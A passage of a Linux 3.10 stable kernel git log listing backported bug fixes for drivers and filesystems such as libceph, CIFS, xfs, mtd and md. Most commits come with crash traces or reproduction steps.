(drm_sysfs_connector_add+0x64/0x204) [] (drm_sysfs_connector_add) from [] (panel_modeset_init+0xb8/0x134 [tilcdc]) [] (panel_modeset_init [tilcdc]) from [] (tilcdc_load+0x214/0x4c0 [tilcdc]) [] (tilcdc_load [tilcdc]) from [] (drm_dev_register+0xa4/0x104) [ .. snip .. ] ---[ end trace b2d09cd9578b0497 ]--- [drm:drm_sysfs_connector_add] *ERROR* failed to register connector device: -17 Signed-off-by: Guido Martínez Tested-by: Darren Etheridge Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7515b8dfdfceec1389b222ac2205db77d8c09ea Author: Ronald Wahl Date: Thu Aug 7 14:15:50 2014 +0200 carl9170: fix sending URBs with wrong type when using full-speed commit 671796dd96b6cd85b75fba9d3007bcf7e5f7c309 upstream. The driver assumes that endpoint 4 is always an interrupt endpoint. Unfortunately the type differs between high-speed and full-speed configurations while in the former case it is indeed an interrupt endpoint this is not true for the latter case - here it is a bulk endpoint. When sending URBs with the wrong type the kernel will generate a warning message including backtrace. In this specific case there will be a huge amount of warnings which can bring the system to freeze. To fix this we are now sending URBs to endpoint 4 using the type found in the endpoint descriptor. A side note: The carl9170 firmware currently specifies endpoint 4 as interrupt endpoint even in the full-speed configuration but this has no relevance because before this firmware is loaded the endpoint type is as described above and after the firmware is running the stick is not reenumerated and so the old descriptor is used. Signed-off-by: Ronald Wahl Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f68a79aa6a953b6bef10223ea9bf2e91201e8b1 Author: Jiri Slaby Date: Mon Apr 13 16:41:28 2015 +0200 core, nfqueue, openvswitch: fix compilation warning Stable commit "core, nfqueue, openvswitch: Orphan frags in skb_zerocopy and handle errors", upstream commit 36d5fe6a000790f56039afe26834265db0a3ad4c, was not correctly backported and missed to change a const 'from' parameter to non-const. This results in a new batch of warnings: net/netfilter/nfnetlink_queue_core.c: In function ‘nfqnl_zcopy’: net/netfilter/nfnetlink_queue_core.c:272:2: warning: passing argument 1 of ‘skb_orphan_frags’ discards ‘const’ qualifier from pointer target type [enabled by default] if (unlikely(skb_orphan_frags(from, GFP_ATOMIC))) { ^ In file included from net/netfilter/nfnetlink_queue_core.c:18:0: include/linux/skbuff.h:1822:19: note: expected ‘struct sk_buff *’ but argument is of type ‘const struct sk_buff *’ static inline int skb_orphan_frags(struct sk_buff *skb, gfp_t gfp_mask) ^ net/netfilter/nfnetlink_queue_core.c:273:3: warning: passing argument 1 of ‘skb_tx_error’ discards ‘const’ qualifier from pointer target type [enabled by default] skb_tx_error(from); ^ In file included from net/netfilter/nfnetlink_queue_core.c:18:0: include/linux/skbuff.h:630:13: note: expected ‘struct sk_buff *’ but argument is of type ‘const struct sk_buff *’ extern void skb_tx_error(struct sk_buff *skb); Remove const from the 'from' parameter, the same as in the upstream commit. As far as I can see, this leaked into 3.10, 3.12, and 3.13 already. Cc: Zoltan Kiss Cc: David S. Miller Cc: Ben Hutchings Cc: Greg Kroah-Hartman Cc: Kamal Mostafa Signed-off-by: Jiri Slaby Signed-off-by: Greg Kroah-Hartman commit 7ba315ce7e779e6e5c4cebcfdf775c804fc72347 Author: Greg Kroah-Hartman Date: Wed Sep 17 09:04:18 2014 -0700 Linux 3.10.55 Signed-off-by: Pranav Vashi commit 3c5870aee5167b3dc7bbc8cbf28ac3dd226b4eac Author: Sage Weil Date: Mon Aug 4 07:01:54 2014 -0700 libceph: gracefully handle large reply messages from the mon commit 73c3d4812b4c755efeca0140f606f83772a39ce4 upstream. We preallocate a few of the message types we get back from the mon. If we get a larger message than we are expecting, fall back to trying to allocate a new one instead of blindly using the one we have. Signed-off-by: Sage Weil Reviewed-by: Ilya Dryomov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a180d6861c5faccf81d7803100b290fbc4c86fa3 Author: Ilya Dryomov Date: Thu Jan 9 20:08:21 2014 +0200 libceph: rename ceph_msg::front_max to front_alloc_len commit 3cea4c3071d4e55e9d7356efe9d0ebf92f0c2204 upstream. Rename front_max field of struct ceph_msg to front_alloc_len to make its purpose more clear. Signed-off-by: Ilya Dryomov Reviewed-by: Sage Weil Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d6b2d05abf2ed9fc83fb1004eb6ad9501b9550ee Author: Jason Gunthorpe Date: Wed May 21 18:26:44 2014 -0600 tpm: Provide a generic means to override the chip returned timeouts commit 8e54caf407b98efa05409e1fee0e5381abd2b088 upstream. Some Atmel TPMs provide completely wrong timeouts from their TPM_CAP_PROP_TIS_TIMEOUT query. This patch detects that and returns new correct values via a DID/VID table in the TIS driver. Tested on ARM using an AT97SC3204T FW version 37.16 [PHuewe: without this fix these 'broken' Atmel TPMs won't function on older kernels] Signed-off-by: "Berg, Christopher" Signed-off-by: Jason Gunthorpe Signed-off-by: Peter Huewe [bwh: Backported to 3.10: - Adjust filename, context - s/chip->ops->/chip->vendor./] Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0ab514e2f5744a686e8ce9aaf2c2995984b9ac5d Author: Linus Torvalds Date: Sat Sep 13 11:30:10 2014 -0700 vfs: fix bad hashing of dentries commit 99d263d4c5b2f541dfacb5391e22e8c91ea982a6 upstream. Josef Bacik found a performance regression between 3.2 and 3.10 and narrowed it down to commit bfcfaa77bdf0 ("vfs: use 'unsigned long' accesses for dcache name comparison and hashing"). He reports: "The test case is essentially for (i = 0; i < 1000000; i++) mkdir("a$i"); On xfs on a fio card this goes at about 20k dir/sec with 3.2, and 12k dir/sec with 3.10. This is because we spend waaaaay more time in __d_lookup on 3.10 than in 3.2. The new hashing function for strings is suboptimal for < sizeof(unsigned long) string names (and hell even > sizeof(unsigned long) string names that I've tested). I broke out the old hashing function and the new one into a userspace helper to get real numbers and this is what I'm getting: Old hash table had 1000000 entries, 0 dupes, 0 max dupes New hash table had 12628 entries, 987372 dupes, 900 max dupes We had 11400 buckets with a p50 of 30 dupes, p90 of 240 dupes, p99 of 567 dupes for the new hash My test does the hash, and then does the d_hash into a integer pointer array the same size as the dentry hash table on my system, and then just increments the value at the address we got to see how many entries we overlap with. As you can see the old hash function ended up with all 1 million entries in their own bucket, whereas the new one they are only distributed among ~12.5k buckets, which is why we're using so much more CPU in __d_lookup". The reason for this hash regression is two-fold: - On 64-bit architectures the down-mixing of the original 64-bit word-at-a-time hash into the final 32-bit hash value is very simplistic and suboptimal, and just adds the two 32-bit parts together. In particular, because there is no bit shuffling and the mixing boundary is also a byte boundary, similar character patterns in the low and high word easily end up just canceling each other out. - the old byte-at-a-time hash mixed each byte into the final hash as it hashed the path component name, resulting in the low bits of the hash generally being a good source of hash data. That is not true for the word-at-a-time case, and the hash data is distributed among all the bits. The fix is the same in both cases: do a better job of mixing the bits up and using as much of the hash data as possible. We already have the "hash_32|64()" functions to do that. Reported-by: Josef Bacik Cc: Al Viro Cc: Christoph Hellwig Cc: Chris Mason Cc: linux-fsdevel@vger.kernel.org Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b82692fb54f31ad9ff08d2553a74245a1d706da9 Author: Al Viro Date: Fri Oct 25 16:41:01 2013 -0400 dcache.c: get rid of pointless macros commit 482db9066199813d6b999b65a3171afdbec040b6 upstream. D_HASH{MASK,BITS} are used once each, both in the same function (d_hash()). At this point they are actively misguiding - they imply that values are compiler constants, which is no longer true. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1e2551e3bbdc664c70abd70026ee4a5a55cdb3c9 Author: Bart Van Assche Date: Wed Jul 9 15:57:26 2014 +0200 IB/srp: Fix deadlock between host removal and multipathd commit bcc05910359183b431da92713e98eed478edf83a upstream. If scsi_remove_host() is invoked after a SCSI device has been blocked, if the fast_io_fail_tmo or dev_loss_tmo work gets scheduled on the workqueue executing srp_remove_work() and if an I/O request is scheduled after the SCSI device had been blocked by e.g. multipathd then the following deadlock can occur: kworker/6:1 D ffff880831f3c460 0 195 2 0x00000000 Call Trace: [] schedule+0x29/0x70 [] schedule_timeout+0x10f/0x2a0 [] msleep+0x2f/0x40 [] __blk_drain_queue+0x4e/0x180 [] blk_cleanup_queue+0x225/0x230 [] __scsi_remove_device+0x62/0xe0 [scsi_mod] [] scsi_forget_host+0x6f/0x80 [scsi_mod] [] scsi_remove_host+0x7a/0x130 [scsi_mod] [] srp_remove_work+0x95/0x180 [ib_srp] [] process_one_work+0x1ea/0x6c0 [] worker_thread+0x11b/0x3a0 [] kthread+0xed/0x110 [] ret_from_fork+0x7c/0xb0 multipathd D ffff880096acc460 0 5340 1 0x00000000 Call Trace: [] schedule+0x29/0x70 [] schedule_timeout+0x10f/0x2a0 [] io_schedule_timeout+0x9b/0xf0 [] wait_for_completion_io_timeout+0xdc/0x110 [] blk_execute_rq+0x9b/0x100 [] sg_io+0x1a5/0x450 [] scsi_cmd_ioctl+0x2a1/0x430 [] scsi_cmd_blk_ioctl+0x42/0x50 [] sd_ioctl+0xbe/0x140 [sd_mod] [] blkdev_ioctl+0x234/0x840 [] block_ioctl+0x41/0x50 [] do_vfs_ioctl+0x300/0x520 [] SyS_ioctl+0x41/0x80 [] tracesys+0xd0/0xd5 Fix this by scheduling removal work on another workqueue than the transport layer timers. Signed-off-by: Bart Van Assche Reviewed-by: Sagi Grimberg Reviewed-by: David Dillow Cc: Sebastian Parschauer Signed-off-by: Roland Dreier Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d42b299d302c46b4cc5446957d841c284c21e3db Author: Tejun Heo Date: Sat Jul 5 18:43:21 2014 -0400 blkcg: don't call into policy draining if root_blkg is already gone commit 2a1b4cf2331d92bc009bf94fa02a24604cdaf24c upstream. While a queue is being destroyed, all the blkgs are destroyed and its ->root_blkg pointer is set to NULL. If someone else starts to drain while the queue is in this state, the following oops happens. NULL pointer dereference at 0000000000000028 IP: [] blk_throtl_drain+0x84/0x230 PGD e4a1067 PUD b773067 PMD 0 Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC Modules linked in: cfq_iosched(-) [last unloaded: cfq_iosched] CPU: 1 PID: 537 Comm: bash Not tainted 3.16.0-rc3-work+ #2 Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 task: ffff88000e222250 ti: ffff88000efd4000 task.ti: ffff88000efd4000 RIP: 0010:[] [] blk_throtl_drain+0x84/0x230 RSP: 0018:ffff88000efd7bf0 EFLAGS: 00010046 RAX: 0000000000000000 RBX: ffff880015091450 RCX: 0000000000000001 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffff88000efd7c10 R08: 0000000000000000 R09: 0000000000000001 R10: ffff88000e222250 R11: 0000000000000000 R12: ffff880015091450 R13: ffff880015092e00 R14: ffff880015091d70 R15: ffff88001508fc28 FS: 00007f1332650740(0000) GS:ffff88001fa80000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 0000000000000028 CR3: 0000000009446000 CR4: 00000000000006e0 Stack: ffffffff8144e8f6 ffff880015091450 0000000000000000 ffff880015091d80 ffff88000efd7c28 ffffffff8144ae2f ffff880015091450 ffff88000efd7c58 ffffffff81427641 ffff880015091450 ffffffff82401f00 ffff880015091450 Call Trace: [] blkcg_drain_queue+0x1f/0x60 [] __blk_drain_queue+0x71/0x180 [] blk_queue_bypass_start+0x6e/0xb0 [] blkcg_deactivate_policy+0x38/0x120 [] blk_throtl_exit+0x34/0x50 [] blkcg_exit_queue+0x35/0x40 [] blk_release_queue+0x26/0xd0 [] kobject_cleanup+0x38/0x70 [] kobject_put+0x28/0x60 [] blk_put_queue+0x15/0x20 [] scsi_device_dev_release_usercontext+0x16b/0x1c0 [] execute_in_process_context+0x89/0xa0 [] scsi_device_dev_release+0x1c/0x20 [] device_release+0x32/0xa0 [] kobject_cleanup+0x38/0x70 [] kobject_put+0x28/0x60 [] put_device+0x17/0x20 [] __scsi_remove_device+0xa9/0xe0 [] scsi_remove_device+0x2b/0x40 [] sdev_store_delete+0x27/0x30 [] dev_attr_store+0x18/0x30 [] sysfs_kf_write+0x3e/0x50 [] kernfs_fop_write+0xe7/0x170 [] vfs_write+0xaf/0x1d0 [] SyS_write+0x4d/0xc0 [] system_call_fastpath+0x16/0x1b 776687bce42b ("block, blk-mq: draining can't be skipped even if bypass_depth was non-zero") made it easier to trigger this bug by making blk_queue_bypass_start() drain even when it loses the first bypass test to blk_cleanup_queue(); however, the bug has always been there even before the commit as blk_queue_bypass_start() could race against queue destruction, win the initial bypass test but perform the actual draining after blk_cleanup_queue() already destroyed all blkgs. Fix it by skippping calling into policy draining if all the blkgs are already gone. Signed-off-by: Tejun Heo Reported-by: Shirish Pargaonkar Reported-by: Sasha Levin Reported-by: Jet Chen Tested-by: Shirish Pargaonkar Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1d9c7213dc8cd5de6c29d7630c45235424f74d1 Author: Roger Quadros Date: Mon Aug 25 16:15:33 2014 -0700 mtd: nand: omap: Fix 1-bit Hamming code scheme, omap_calculate_ecc() commit 40ddbf5069bd4e11447c0088fc75318e0aac53f0 upstream. commit 65b97cf6b8de introduced in v3.7 caused a regression by using a reversed CS_MASK thus causing omap_calculate_ecc to always fail. As the NAND base driver never checks for .calculate()'s return value, the zeroed ECC values are used as is without showing any error to the user. However, this won't work and the NAND device won't be guarded by any error code. Fix the issue by using the correct mask. Code was tested on omap3beagle using the following procedure - flash the primary bootloader (MLO) from the kernel to the first NAND partition using nandwrite. - boot the board from NAND. This utilizes OMAP ROM loader that relies on 1-bit Hamming code ECC. Fixes: 65b97cf6b8de (mtd: nand: omap2: handle nand on gpmc) Signed-off-by: Roger Quadros Signed-off-by: Tony Lindgren Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ad9df22cfa85264b859a6c5df51eb01c99aec7e1 Author: Kevin Hao Date: Thu Jul 3 10:35:26 2014 +0800 mtd/ftl: fix the double free of the buffers allocated in build_maps() commit a152056c912db82860a8b4c23d0bd3a5aa89e363 upstream. I got the following panic on my fsl p5020ds board. Unable to handle kernel paging request for data at address 0x7375627379737465 Faulting instruction address: 0xc000000000100778 Oops: Kernel access of bad area, sig: 11 [#1] SMP NR_CPUS=24 CoreNet Generic Modules linked in: CPU: 0 PID: 1 Comm: swapper/0 Not tainted 3.15.0-next-20140613 #145 task: c0000000fe080000 ti: c0000000fe088000 task.ti: c0000000fe088000 NIP: c000000000100778 LR: c00000000010073c CTR: 0000000000000000 REGS: c0000000fe08aa00 TRAP: 0300 Not tainted (3.15.0-next-20140613) MSR: 0000000080029000 CR: 24ad2e24 XER: 00000000 DEAR: 7375627379737465 ESR: 0000000000000000 SOFTE: 1 GPR00: c0000000000c99b0 c0000000fe08ac80 c0000000009598e0 c0000000fe001d80 GPR04: 00000000000000d0 0000000000000913 c000000007902b20 0000000000000000 GPR08: c0000000feaae888 0000000000000000 0000000007091000 0000000000200200 GPR12: 0000000028ad2e28 c00000000fff4000 c0000000007abe08 0000000000000000 GPR16: c0000000007ab160 c0000000007aaf98 c00000000060ba68 c0000000007abda8 GPR20: c0000000007abde8 c0000000feaea6f8 c0000000feaea708 c0000000007abd10 GPR24: c000000000989370 c0000000008c6228 00000000000041ed c0000000fe00a400 GPR28: c00000000017c1cc 00000000000000d0 7375627379737465 c0000000fe001d80 NIP [c000000000100778] .__kmalloc_track_caller+0x70/0x168 LR [c00000000010073c] .__kmalloc_track_caller+0x34/0x168 Call Trace: [c0000000fe08ac80] [c00000000087e6b8] uevent_sock_list+0x0/0x10 (unreliable) [c0000000fe08ad20] [c0000000000c99b0] .kstrdup+0x44/0x90 [c0000000fe08adc0] [c00000000017c1cc] .__kernfs_new_node+0x4c/0x130 [c0000000fe08ae70] [c00000000017d7e4] .kernfs_new_node+0x2c/0x64 [c0000000fe08aef0] [c00000000017db00] .kernfs_create_dir_ns+0x34/0xc8 [c0000000fe08af80] [c00000000018067c] .sysfs_create_dir_ns+0x58/0xcc [c0000000fe08b010] [c0000000002c711c] .kobject_add_internal+0xc8/0x384 [c0000000fe08b0b0] [c0000000002c7644] .kobject_add+0x64/0xc8 [c0000000fe08b140] [c000000000355ebc] .device_add+0x11c/0x654 [c0000000fe08b200] [c0000000002b5988] .add_disk+0x20c/0x4b4 [c0000000fe08b2c0] [c0000000003a21d4] .add_mtd_blktrans_dev+0x340/0x514 [c0000000fe08b350] [c0000000003a3410] .mtdblock_add_mtd+0x74/0xb4 [c0000000fe08b3e0] [c0000000003a32cc] .blktrans_notify_add+0x64/0x94 [c0000000fe08b470] [c00000000039b5b4] .add_mtd_device+0x1d4/0x368 [c0000000fe08b520] [c00000000039b830] .mtd_device_parse_register+0xe8/0x104 [c0000000fe08b5c0] [c0000000003b8408] .of_flash_probe+0x72c/0x734 [c0000000fe08b750] [c00000000035ba40] .platform_drv_probe+0x38/0x84 [c0000000fe08b7d0] [c0000000003599a4] .really_probe+0xa4/0x29c [c0000000fe08b870] [c000000000359d3c] .__driver_attach+0x100/0x104 [c0000000fe08b900] [c00000000035746c] .bus_for_each_dev+0x84/0xe4 [c0000000fe08b9a0] [c0000000003593c0] .driver_attach+0x24/0x38 [c0000000fe08ba10] [c000000000358f24] .bus_add_driver+0x1c8/0x2ac [c0000000fe08bab0] [c00000000035a3a4] .driver_register+0x8c/0x158 [c0000000fe08bb30] [c00000000035b9f4] .__platform_driver_register+0x6c/0x80 [c0000000fe08bba0] [c00000000084e080] .of_flash_driver_init+0x1c/0x30 [c0000000fe08bc10] [c000000000001864] .do_one_initcall+0xbc/0x238 [c0000000fe08bd00] [c00000000082cdc0] .kernel_init_freeable+0x188/0x268 [c0000000fe08bdb0] [c0000000000020a0] .kernel_init+0x1c/0xf7c [c0000000fe08be30] [c000000000000884] .ret_from_kernel_thread+0x58/0xd4 Instruction dump: 41bd0010 480000c8 4bf04eb5 60000000 e94d0028 e93f0000 7cc95214 e8a60008 7fc9502a 2fbe0000 419e00c8 e93f0022 <7f7e482a> 39200000 88ed06b2 992d06b2 ---[ end trace b4c9a94804a42d40 ]--- It seems that the corrupted partition header on my mtd device triggers a bug in the ftl. In function build_maps() it will allocate the buffers needed by the mtd partition, but if something goes wrong such as kmalloc failure, mtd read error or invalid partition header parameter, it will free all allocated buffers and then return non-zero. In my case, it seems that partition header parameter 'NumTransferUnits' is invalid. And the ftl_freepart() is a function which free all the partition buffers allocated by build_maps(). Given the build_maps() is a self cleaning function, so there is no need to invoke this function even if build_maps() return with error. Otherwise it will causes the buffers to be freed twice and then weird things would happen. Signed-off-by: Kevin Hao Signed-off-by: Brian Norris Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5f7efb7199aa068ffc10c023545652ee324e87b4 Author: Pavel Shilovsky Date: Tue Aug 26 19:04:44 2014 +0400 CIFS: Fix wrong restart readdir for SMB1 commit f736906a7669a77cf8cabdcbcf1dc8cb694e12ef upstream. The existing code calls server->ops->close() that is not right. This causes XFS test generic/310 to fail. Fix this by using server->ops->closedir() function. Signed-off-by: Dan Carpenter Signed-off-by: Pavel Shilovsky Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6bf28d85d98816d76c325e3656390bb3de60f229 Author: Pavel Shilovsky Date: Fri Aug 22 13:32:11 2014 +0400 CIFS: Fix wrong filename length for SMB2 commit 1bbe4997b13de903c421c1cc78440e544b5f9064 upstream. The existing code uses the old MAX_NAME constant. This causes XFS test generic/013 to fail. Fix it by replacing MAX_NAME with PATH_MAX that SMB1 uses. Also remove an unused MAX_NAME constant definition. Signed-off-by: Pavel Shilovsky Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 74a9987656cee9ea3eac67234681f04e5c2657cb Author: Pavel Shilovsky Date: Mon Aug 18 20:49:58 2014 +0400 CIFS: Fix wrong directory attributes after rename commit b46799a8f28c43c5264ac8d8ffa28b311b557e03 upstream. When we requests rename we also need to update attributes of both source and target parent directories. Not doing it causes generic/309 xfstest to fail on SMB2 mounts. Fix this by marking these directories for force revalidating. Signed-off-by: Pavel Shilovsky Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 292b073d7dbafe35d3693fd923fc79e0355f03f2 Author: Steve French Date: Sun Aug 17 00:22:24 2014 -0500 CIFS: Possible null ptr deref in SMB2_tcon commit 18f39e7be0121317550d03e267e3ebd4dbfbb3ce upstream. As Raphael Geissert pointed out, tcon_error_exit can dereference tcon and there is one path in which tcon can be null. Signed-off-by: Steve French Reported-by: Raphael Geissert Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 961995c6dec82ddf9fc1330c08724fdba71d35e9 Author: Pavel Shilovsky Date: Fri Jun 27 10:33:11 2014 +0400 CIFS: Fix async reading on reconnects commit 038bc961c31b070269ecd07349a7ee2e839d4fec upstream. If we get into read_into_pages() from cifs_readv_receive() and then loose a network, we issue cifs_reconnect that moves all mids to a private list and issue their callbacks. The callback of the async read request sets a mid to retry, frees it and wakes up a process that waits on the rdata completion. After the connection is established we return from read_into_pages() with a short read, use the mid that was freed before and try to read the remaining data from the a newly created socket. Both actions are not what we want to do. In reconnect cases (-EAGAIN) we should not mask off the error with a short read but should return the error code instead. Acked-by: Jeff Layton Signed-off-by: Pavel Shilovsky Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8238614528c09b20ae1e5e298dc46d90d44d0894 Author: Pavel Shilovsky Date: Fri Jul 18 18:25:52 2014 +0400 CIFS: Fix STATUS_CANNOT_DELETE error mapping for SMB2 commit 21496687a79424572f46a84c690d331055f4866f upstream. The existing mapping causes unlink() call to return error after delete operation. Changing the mapping to -EACCES makes the client process the call like CIFS protocol does - reset dos attributes with ATTR_READONLY flag masked off and retry the operation. Signed-off-by: Pavel Shilovsky Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f6e0a903e38109ceda2c1a23603de12c6898e872 Author: Ilya Dryomov Date: Tue Sep 9 19:39:15 2014 +0400 libceph: do not hard code max auth ticket len commit c27a3e4d667fdcad3db7b104f75659478e0c68d8 upstream. We hard code cephx auth ticket buffer size to 256 bytes. This isn't enough for any moderate setups and, in case tickets themselves are not encrypted, leads to buffer overflows (ceph_x_decrypt() errors out, but ceph_decode_copy() doesn't - it's just a memcpy() wrapper). Since the buffer is allocated dynamically anyway, allocated it a bit later, at the point where we know how much is going to be needed. Fixes: http://tracker.ceph.com/issues/8979 Signed-off-by: Ilya Dryomov Reviewed-by: Sage Weil Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1f583fa41543557385a8f97e4dbf5c1a0967faf3 Author: Ilya Dryomov Date: Mon Sep 8 17:25:34 2014 +0400 libceph: add process_one_ticket() helper commit 597cda357716a3cf8d994cb11927af917c8d71fa upstream. Add a helper for processing individual cephx auth tickets. Needed for the next commit, which deals with allocating ticket buffers. (Most of the diff here is whitespace - view with git diff -b). Signed-off-by: Ilya Dryomov Reviewed-by: Sage Weil Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21e2d874cfe228e625bf7354645031dda2de6106 Author: Ilya Dryomov Date: Fri Aug 8 12:43:39 2014 +0400 libceph: set last_piece in ceph_msg_data_pages_cursor_init() correctly commit 5f740d7e1531099b888410e6bab13f68da9b1a4d upstream. Determining ->last_piece based on the value of ->page_offset + length is incorrect because length here is the length of the entire message. ->last_piece set to false even if page array data item length is <= PAGE_SIZE, which results in invalid length passed to ceph_tcp_{send,recv}page() and causes various asserts to fire. # cat pages-cursor-init.sh #!/bin/bash rbd create --size 10 --image-format 2 foo FOO_DEV=$(rbd map foo) dd if=/dev/urandom of=$FOO_DEV bs=1M &>/dev/null rbd snap create foo@snap rbd snap protect foo@snap rbd clone foo@snap bar # rbd_resize calls librbd rbd_resize(), size is in bytes ./rbd_resize bar $(((4 << 20) + 512)) rbd resize --size 10 bar BAR_DEV=$(rbd map bar) # trigger a 512-byte copyup -- 512-byte page array data item dd if=/dev/urandom of=$BAR_DEV bs=1M count=1 seek=5 The problem exists only in ceph_msg_data_pages_cursor_init(), ceph_msg_data_pages_advance() does the right thing. The size_t cast is unnecessary. Signed-off-by: Ilya Dryomov Reviewed-by: Sage Weil Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1a72a62851b583850e0009b00cdecf31c8601611 Author: NeilBrown Date: Thu Jul 31 10:16:29 2014 +1000 md/raid1,raid10: always abort recover on write error. commit 2446dba03f9dabe0b477a126cbeb377854785b47 upstream. Currently we don't abort recovery on a write error if the write error to the recovering device was triggerd by normal IO (as opposed to recovery IO). This means that for one bitmap region, the recovery might write to the recovering device for a few sectors, then not bother for subsequent sectors (as it never writes to failed devices). In this case the bitmap bit will be cleared, but it really shouldn't. The result is that if the recovering device fails and is then re-added (after fixing whatever hardware problem triggerred the failure), the second recovery won't redo the region it was in the middle of, so some of the device will not be recovered properly. If we abort the recovery, the region being processes will be cancelled (bit not cleared) and the whole region will be retried. As the bug can result in data corruption the patch is suitable for -stable. For kernels prior to 3.11 there is a conflict in raid10.c which will require care. Original-from: jiao hui Reported-and-tested-by: jiao hui Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4f1f938e2d38b041dd6e7593597dfc9fe35176de Author: Chris Mason Date: Tue Sep 2 12:12:52 2014 +1000 xfs: don't zero partial page cache pages during O_DIRECT writes commit 85e584da3212140ee80fd047f9058bbee0bc00d5 upstream. xfs is using truncate_pagecache_range to invalidate the page cache during DIO reads. This is different from the other filesystems who only invalidate pages during DIO writes. truncate_pagecache_range is meant to be used when we are freeing the underlying data structs from disk, so it will zero any partial ranges in the page. This means a DIO read can zero out part of the page cache page, and it is possible the page will stay in cache. buffered reads will find an up to date page with zeros instead of the data actually on disk. This patch fixes things by using invalidate_inode_pages2_range instead. It preserves the page cache invalidation, but won't zero any pages. [dchinner: catch error and warn if it fails. Comment.] Signed-off-by: Chris Mason Reviewed-by: Dave Chinner Reviewed-by: Brian Foster Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2900510e173dfd8942e46ad8e302c775d424d4a7 Author: Dave Chinner Date: Tue Sep 2 12:12:52 2014 +1000 xfs: don't zero partial page cache pages during O_DIRECT writes commit 834ffca6f7e345a79f6f2e2d131b0dfba8a4b67a upstream. Similar to direct IO reads, direct IO writes are using truncate_pagecache_range to invalidate the page cache. This is incorrect due to the sub-block zeroing in the page cache that truncate_pagecache_range() triggers. This patch fixes things by using invalidate_inode_pages2_range instead. It preserves the page cache invalidation, but won't zero any pages. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ebfd9176714b2c1afe079b65c424bdf7432e0e38 Author: Dave Chinner Date: Tue Sep 2 12:12:51 2014 +1000 xfs: don't dirty buffers beyond EOF commit 22e757a49cf010703fcb9c9b4ef793248c39b0c2 upstream. generic/263 is failing fsx at this point with a page spanning EOF that cannot be invalidated. The operations are: 1190 mapwrite 0x52c00 thru 0x5e569 (0xb96a bytes) 1191 mapread 0x5c000 thru 0x5d636 (0x1637 bytes) 1192 write 0x5b600 thru 0x771ff (0x1bc00 bytes) where 1190 extents EOF from 0x54000 to 0x5e569. When the direct IO write attempts to invalidate the cached page over this range, it fails with -EBUSY and so any attempt to do page invalidation fails. The real question is this: Why can't that page be invalidated after it has been written to disk and cleaned? Well, there's data on the first two buffers in the page (1k block size, 4k page), but the third buffer on the page (i.e. beyond EOF) is failing drop_buffers because it's bh->b_state == 0x3, which is BH_Uptodate | BH_Dirty. IOWs, there's dirty buffers beyond EOF. Say what? OK, set_buffer_dirty() is called on all buffers from __set_page_buffers_dirty(), regardless of whether the buffer is beyond EOF or not, which means that when we get to ->writepage, we have buffers marked dirty beyond EOF that we need to clean. So, we need to implement our own .set_page_dirty method that doesn't dirty buffers beyond EOF. This is messy because the buffer code is not meant to be shared and it has interesting locking issues on the buffer dirty bits. So just copy and paste it and then modify it to suit what we need. Note: the solutions the other filesystems and generic block code use of marking the buffers clean in ->writepage does not work for XFS. It still leaves dirty buffers beyond EOF and invalidations still fail. Hence rather than play whack-a-mole, this patch simply prevents those buffers from being dirtied in the first place. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0e8c64a9f6f7eccb6ddfbc8bb78f26f508d057ae Author: Dave Chinner Date: Mon Aug 4 12:43:26 2014 +1000 xfs: quotacheck leaves dquot buffers without verifiers commit 5fd364fee81a7888af806e42ed8a91c845894f2d upstream. When running xfs/305, I noticed that quotacheck was flushing dquot buffers that did not have the xfs_dquot_buf_ops verifiers attached: XFS (vdb): _xfs_buf_ioapply: no ops on block 0x1dc8/0x1dc8 ffff880052489000: 44 51 01 04 00 00 65 b8 00 00 00 00 00 00 00 00 DQ....e......... ffff880052489010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ffff880052489020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ffff880052489030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ CPU: 1 PID: 2376 Comm: mount Not tainted 3.16.0-rc2-dgc+ #306 